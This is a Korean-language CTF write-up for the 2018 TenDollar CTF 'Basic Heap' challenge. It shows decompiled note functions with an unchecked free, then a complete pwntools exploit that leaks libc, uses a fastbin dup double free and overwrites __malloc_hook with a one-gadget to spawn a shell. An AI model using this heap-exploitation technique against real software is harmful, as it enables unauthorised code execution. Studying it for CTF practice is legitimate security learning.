2018 TenDollar CTF Basic Heap
보호기법은 다 걸려있다.
[*] '/vagrant/ctfs/2018_TDCTF/pwnable/basic_heap/basicheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
malloc해주는 곳인데 원하는 사이즈만큼 자유자재로 할당할 수 있고 개수는 상관없다.
unsigned __int64 sub_980()
{
int v0; // ebx
int v2; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
puts("Input Length");
_isoc99_scanf("%d", &v2);
v0 = count;
note[v0] = malloc(v2);
puts("Input Memo!");
read(0, note[count], v2);
++count;
puts("Create Note Done.\n");
return __readfsqword(0x28u) ^ v3;
}
free해주는 메뉴인데 원하는 인덱스의 주소를 free해줄 수 있다. 별도의 검사도 없다.
unsigned __int64 sub_AD2()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("Choose Note");
_isoc99_scanf("%d", &v1);
free(note[v1]);
puts("Delete Note Done.\n");
return __readfsqword(0x28u) ^ v2;
}
원하는 인덱스의 청크의 내용을 볼 수 있다.
unsigned __int64 sub_A59()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("Choose Note");
_isoc99_scanf("%d", &v1);
puts(note[v1]);
return __readfsqword(0x28u) ^ v2;
}
fastbin dup에 이용하기 위해 fastbin 2개 생성하고 small bin을 생성한 후 fastbin을 하나 더 생성해서 top chunk와 병합되지 않게한 후 small bin을 free후 leak한 후 libc주소 구해주고 __malloc_hook-35 위치에 fake chunk을 생성해서 fastbin dup으로 oneshot주소로 덮어준 후 malloc 해주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./basicheap')
p = process('./basicheap')
libc = e.libc
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
def create(length,content):
sla('4. Quit\n','1')
sla('Input Length\n',str(length))
sa('Input Memo!\n',content)
def show(index):
sla('4. Quit\n','2')
sla('Choose Note\n',str(index))
def delete(index):
sla('4. Quit\n','3')
sla('Choose Note\n',str(index))
def quit():
sla('4. Quit\n','4')
create(0x60,'AAAA')
create(0x60,'BBBB')
create(180,'CCCC') # unsorted bin attack
create(0x60,'DDDD')
delete(2)
show(2)
main_arena = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
log.info('main_arena : {}'.format(hex(main_arena)))
libc_base = main_arena - 0x3c4b78
log.info('libc_base : {}'.format(hex(libc_base)))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.info('__malloc_hook : {}'.format(hex(malloc_hook)))
oneshot = libc_base + 0xf1147
log.info('oneshot : {}'.format(hex(oneshot)))
create(180,'EEEE')
# fastbin dup
delete(0)
delete(1)
delete(0)
create(0x60,p64(malloc_hook-35)) # fake chunk
create(0x60,'FFFF')
create(0x60,'FFFF')
create(0x60,'A'*19+p64(oneshot))
sla('4. Quit\n','1')
sla('Input Length\n',str(50))
p.interactive()